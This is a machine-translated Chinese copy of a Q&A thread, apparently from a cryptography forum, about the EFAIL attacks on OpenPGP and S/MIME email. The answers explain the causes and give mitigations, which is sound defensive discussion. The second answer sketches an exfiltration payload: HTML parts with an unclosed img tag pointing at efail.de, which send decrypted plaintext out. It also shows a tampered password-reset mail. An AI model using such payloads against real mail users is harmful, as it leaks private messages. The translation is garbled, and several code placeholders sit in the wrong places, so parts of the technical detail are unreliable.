PGP遍及新闻（甚至在电视上也是如此），而且似乎有很多困惑。

目前，人们面临诸如Attention PGP用户之类的文章：新漏洞需要您采取现在采取行动，告诉读者停用其PGP插件，同时引发与PGP相关的问题，而不仅仅是电子邮件客户端软件和良好的旧电子邮件本身。


一组欧洲安全研究人员发布了有关一系列影响PGP和S / MIME用户的漏洞。


由于已经多次询问了PGP的状态，我认为与此相关的简短问答。

新漏洞是否表示Pbr本身存在问题（例如：我们完全不应该使用PGP加密/签名），或
漏洞是否仅表明电子邮件客户端及其处理问题的方式（例如：PGP在外部还是您的电子邮件客户端都可以）？

不同的说法：我'm询问是否使用PGP本身还是安全的（例如，通过命令行进行签名/加密并通过非电子邮件渠道进行传输），或者PGP的加密内部是否存在问题。

#1 楼

从efail.de链接的草稿。

TL; DR：该漏洞存在于某些流行的电子邮件客户端软件中，通常与扩展程序结合使用，从而简化了OpenPGP（例如GnuPG）或S / MIME实现的使用在所述软件内；例如

问题在于，未经验证的解密密文可供电子邮件客户端使用，并对其起作用（例如，跟随指向地址的HTML链接）攻击者收集到的数据），产生一个解密预言机，它能够解密过去或当前的密文，并泄露明文。

禁用电子邮件客户端中的解密功能是可以的。应当保持这种状态，直到检查或改进该软件（及其依赖的任何扩展程序）以抑制（或至少不自动对其采取行动，最好将其标记为可疑）未明确通过OpenPGP修改检测代码测试的任何解密明文。 ，或对S / MIME进行类似的检查（待定义）。

对于OpenPGP，我们可以回到手动使用裸露的OpenPGP工具（例如gpg），从stderr输出中检查是否存在MDC检查已显式通过，否则将无法以收到的内容（以编程方式或手动方式）进行操作。我没有针对S / MIME的解决方法建议。


来自GnuPG和Gpg4Win团队的官方声明：



此纸名错误。这不是对OpenPGP的攻击。这是对损坏的电子邮件客户端的攻击，它忽略了GnuPG的警告，并在被警告后做愚蠢的事情。
此攻击的目标是有漏洞的电子邮件客户端。正确使用MDC可以完全防止这种攻击。自2000年夏天以来，GnuPG就一直支持MDC。




更新：基于该评论和其他答案，并且可能会尘埃落定，在GnuPG v2中，有两件事是有问题的，即使是故意这样做以免破坏兼容性：-返回状态码0（仅警告）至少在默认情况下不存在MDC。-Twofish算法特有的怪癖可防止捕获MDC错误。

评论

$ \ begingroup $
@forest正确使用MDC是在产生一点未经身份验证的纯文本之前，在没有MDC的情况下强烈拒绝邮件。截止到昨天，可能没有OpenPGP实施方案打算这样做。如果收件人接受带有或不带有MDC的邮件，发件人如何努力地添加MDC都无关紧要。
$ \ endgroup $
–吱吱作响的s骨
18年5月15日在2:29
$ \ begingroup $
@SqueamishOssifrage啊，但是当存在MDC时，它会因错误而失败？我想打补丁GnuPG以完全拒绝缺少MDC的消息很容易。
$ \ endgroup $
–森林
18年5月15日在4:26
$ \ begingroup $
@fgrieu当然，但是我认为可以将其实现为一种选择。当用作管道时，该选项当然与GnuPG不兼容。
$ \ endgroup $
–森林
18年5月15日在6:14
$ \ begingroup $
@forest并不完全相同，但是gpg仍然会很乐意将伪造的纯文本分发给愿意听的人，然后在stderr上显示严厉的警告。
$ \ endgroup $
–吱吱作响的s骨
18年5月15日在13:42
$ \ begingroup $
Twofish怪癖不是错误！在MDC支持之前添加了Twofish支持，并且是在MDC支持之前添加的唯一128位块密码。因此，出于故意兼容性的原因，在解密Twofish消息时，允许省略MDC！ （至少，OpenPGP在协议错误设计的灾难中，没有比其他任何错误更多的错误了。）
$ \ endgroup $
–吱吱作响的s骨
18年5月15日在15:31


#2 楼

EFAIL攻击有几部分。

某些部分是邮件作者的过错，即他们通过任意传入的电子邮件公开了不必要的攻击面。部分原因是OpenPGP和S / MIME设计人员的错误，因为他们没有遵守现代密码学工程原理，尤其是未能提供NM-CPA公共密钥加密。到EFAIL，请参阅security.se问题；这是关于攻击的工作原理以及使它们起作用的错误原因。


HTML解释。您的邮件发送者可能会加载URL http://efail.de/0a7492fc62d437b8309a4288edcb1ab6在此处显示漂亮图片。这是电子邮件跟踪器的标准问题。 CSS URL，活动的JavaScript内容等也可以这样做。


OpenPGP和S / MIME跟踪器。

如果收到由无法识别的OpenPGP密钥ID，您的邮件发送者可能会自动下载URL <img url="http://efail.de/0a7492fc62d437b8309a4288edcb1ab6">。类似地，带有随附证书的S / MIME签名可以指定要查询的OCSP服务器，要下载的CRL列表URL或要下载的中间CA URL。对手可以将其作为另一种电子邮件跟踪程序进行控制。


直接渗透。

在多部分/混合的MIME容器中，串联文本/ html部分，包含密文的application / pgp或application / pkcs7-mime部分以及text / html部分：


text / html http://pool.sks-keyservers.net/pks/lookup?search=0x0a1b2c3d&op=get

密文
text / html <img url="http://efail.de/


邮件程序可以将密文和字符串">，明文和<img url="http://efail.de/一起解密。然后，HTML引擎将">作为URL绘制出漂亮的图片，因为每个人都知道电子邮件需要漂亮的图片，否则电子邮件将无法使用。图像可能无法加载，但为时已晚：明文在仓库门外。


即使您无法说服邮件程序连接部分，您也可以重新排列和编辑未经身份验证的消息的某些部分，而您知道其中的某些部分却不知道其他部分，并且利用HTML解释通道进行窃听。例如，在HTML密码重置消息中，可能在已知位置存在新密码或指向新密码的链接：

<img url="http://assets.example.com/logo.png">
<p>Dear luser,
<p>We are incompetent corporate overlords.
We lost your password.  Sorry.
You have to reset it by clicking on this link:
https://bureaucracy.example.com/cgi-bin/resetPassword.js.php.cgi.gif?token=0a7492fc62d437b8309a4288edcb1ab6


剪切和粘贴部分密文，我们也许可以将其转换为如下形式：

<img url="http://efail.de/0a7492fc62d437b8309a4288edcb1ab6">
<p>Dear luser,
<p>We are incompetent corporate overlords.
We lost your password.  Sorry.
You have to reset it by clicking on this link:
https://bureaucracy.example.com/cgi-bin/resetPassword.js.php.cgi.gif?token=http://assets.example.com/logo.png


相同该技术也可以用于HTML之外的其他OpenPGP和S / MIME跟踪器。

（我省略了该过程的确切细节，以免您尝试着迷于此并尝试要通过重新排列电子邮件来阻止这种情况；相反，您应该使用经过身份验证的加密并通常首先进行现代密码学工程来阻止这种情况。有关通过压缩以及对现实数据集的适用性研究来通过压缩研究相当聪明的CBC和CFB小工具的真实详细信息，请阅读本文。） >


我毁了吗？

您可能不会因此而毁了。这种攻击倾向于留下证据，因此部署成本很高。但这并不意味着不存在这种危险，只有在为时已晚之前您才能看到证据，这并不意味着您就不会被其他事情破坏。


我比没有OpenPGP或S / MIME的情况还要糟糕吗？我应该遵循EFF过度通风的建议并删除所有与OpenPGP相关的软件吗？

与未使用OpenPGP或S / MIME相比，您的状况可能不会更糟，除非使用OpenPGP的困难已使您丧命数小时，并且阻止了您原本可以进行的连接，而您可能只是如果根本不在公司官僚机构中使用S / MIME，而不是与您的人际关系或跨组织边界使用。

毕竟，当已经窃听邮件的攻击者剪切并粘贴该邮件时邮件发送到新邮件，然后重新发送给收件人。如果您尚未加密邮件，则它们将已经具有纯文本，并且不需要与邮件程序进行交互。

但是您绝对应该关闭HTML呈现。不要只是禁用发送HTML邮件，这与这种攻击无关。禁用呈现HTML邮件的方式，这是攻击者触发此攻击的方式。

对于通过自动密钥下载和吊销检查起作用的渠道：问题在于，可能需要这些渠道来检测被吊销的证书因为密钥被泄露了。因此，如果可以的话，禁用这些渠道可能会以其他方式造成伤害。


邮寄者应解释HTML吗？ 。毕竟，每个人都知道电子邮件需要漂亮的图片，否则它就不会流行。


邮寄者应该解释未经身份验证的HTML吗？

我肯定会拒绝，因为未经身份验证的数据纯粹是邪恶的-请勿触摸它！但这仍然是常见的做法。


那么，这正是邮件程序解释未经身份验证的HTML的错误吗？

仍然没有。

将邮件中的文本/ html部分与自动解密的密文部分与多部分/混合消息中的text / html部分连接在一起是邮件程序的错误，如第（2）部分所述。

但是，攻击者可以选择对明文进行可预测的更改来选择性地修改密文，而不是邮件的错，这就是攻击的第（3）部分如何工作。密钥身份验证加密，攻击将被阻止。在这种情况下，对手只能伪造消息，而不能进行选择性修改。

OpenPGP和S / MIME仍使用传统的“混合”公钥密钥封装技术一种机制，用于传输用于对称密钥未经身份验证的密钥的密钥（类似于古老的公共密钥加密方案，如RSAES-PKCS1-v1_5）。对称密码具有延展性，这就是为什么我们可以在无需收件人明智的情况下就可以预测地剪切和粘贴邮件的原因。更广泛地讲，通过使用具有可延展性加密的混合方式而不是不可篡改的身份验证加密，OpenPGP和S / MIME无法为公用密钥加密提供IND-CCA2和NM-CCA2的标准目标。 br /> OpenPGP中的MDC怎么办？可以通过更改未经身份验证的数据包类型将其删除。故意不是MAC。它起到了加速作用，而不是起到防御作用。很快，OpenPGP软件的作者将强制MDC。在rfc4880bis中，大概会使用对称密钥进行真正的身份验证加密。

但是，整个OpenPGP的设计没有采用协议中的参与者的正式安全目标的现代概念。相反，它是一种将加密，签名，压缩和文字数据以任意组合嵌套的格式，这本身就不是一个好主意，并且当其创建者面临着与应用程序相关的人为安全目标的需求时，他们明确放弃了它的责任，并把它推到了密码学领域之外。

附言S / MIME甚至没有MDC。


，但是邮件发件人忽略了http://efail.de/(plaintext)的状态代码！

如果可以在GnuPG文档指南中找到我，关于如何在具有有意义的安全属性的邮件程序中可靠地使用它，或者如果缺少MDC，导致gpg作为子进程失败的选项，并且退出代码为非零，那么我将为您找到一个活的渡渡鸟。

这就是为什么信号应用程序引起广泛关注的原因之一，而信号协议（据称也被WhatsApp和其他Messenger使用）是普通用户不需要了解的实现细节。

相比之下，PGP是每个人现在都知道的首字母缩写，但是它的实现是个人选择，例如袜子颜色，没有人可以直接保留当前首选的电子邮件集成。 （Enigmail？Mailvelope？GPG工具？）


如果我手动使用gpg怎么办？

如果您手动使用gpg，您是专心的还是受虐狂，或两者兼而有之。

无论哪种方式，您都应该熟悉thegrugq关于如何使用PGP的指南，并且在运行前必须阅读并理解gpg打印到终端的输出的每一行。在产生的输出文件上。请勿通过管道将gpg传递给其他程序，因为gpg会在告诉您某些东西甚至可能是伪造的东西之前，会很高兴地吐出未经身份验证的数据（这纯属邪恶，请勿触摸！）。

请记住，OpenPGP并不关心OpenPGP格式以外的任何内容。签名的消息不会覆盖它所嵌入的电子邮件的gpg或From:或To:行。当您在名为Subject:之类的源分发中验证分离的签名时，签名不会覆盖文件名-仅内容。因此，即使文件名为gnupg-1.4.14.tar.gz，GnuPG 1.4.13发行版上的签名仍然可以使用。


Inline或PGP / MIME？

如果OpenPGP的加密，签名，压缩和文字数据包的任意嵌套不够糟糕，您是否需要另一种任意嵌套服务复杂的结构化语言在您的盘子上泛滥成灾？



*您必须使用状态fd来可靠地获取此信息，除非发件人使用Twofish，在这种情况下当前版本的gpg2从不反对缺少的MDC。 （这已在gpg2 master中进行了更改，并且可能会在下一版gpg2中修复。）

评论

$ \ begingroup $
resetPassword.js.php.cgi.gif😂
$ \ endgroup $
–轨道轻赛
18年5月15日在11:32
$ \ begingroup $
要获得OpenPGP签名以覆盖文件名，请压缩文件并签名。可以修改zip的名称，但不能修改其成员文件的名称。
$ \ endgroup $
– Monty Harder
18年5月15日在14:38
$ \ begingroup $
HTML的通用问题是它允许来自不同服务器的外部内容。他们应该留给它提供链接，而不是检索数据本身-如果需要，让服务器来做。如果您可以接收到独立的HTML消息，则所有内容至少都在沙盒中，从而大大减少了攻击面。而且您将不必回答脑筋急转弯的问题，例如“您是否要下载此不受信任的电子邮件的图像？”
$ \ endgroup $
–马腾·博德威斯♦
18年5月16日在11:17


$ \ begingroup $
@MaartenBodewes请记住，这不仅与HTML有关！ PGP和S / MIME签名（包括用于标识验证签名所需的外部CA / CRL / _etc._的信息）也在密文中。对这些采取行动是否合理？
$ \ endgroup $
–吱吱作响的s骨
18年5月16日在12:46
$ \ begingroup $
@MaartenBodewes由于密文具有延展性，因此可以更改它们。消息已签名，并且密钥ID或证书包含在签名中；然后邮件被加密。在验证之前，邮件程序必须对解密的明文采取行动。如果密文是不可篡改的，则伪造者将没有希望有选择地修改消息以利用这种攻击的可能性。仅批量替换消息是可行的。当您甚至不考虑诸如NM-CCA2之类的安全目标时，就会发生这种情况。 （这甚至使NM-CPA也失败。）
$ \ endgroup $
–吱吱作响的s骨
18年5月16日在13:03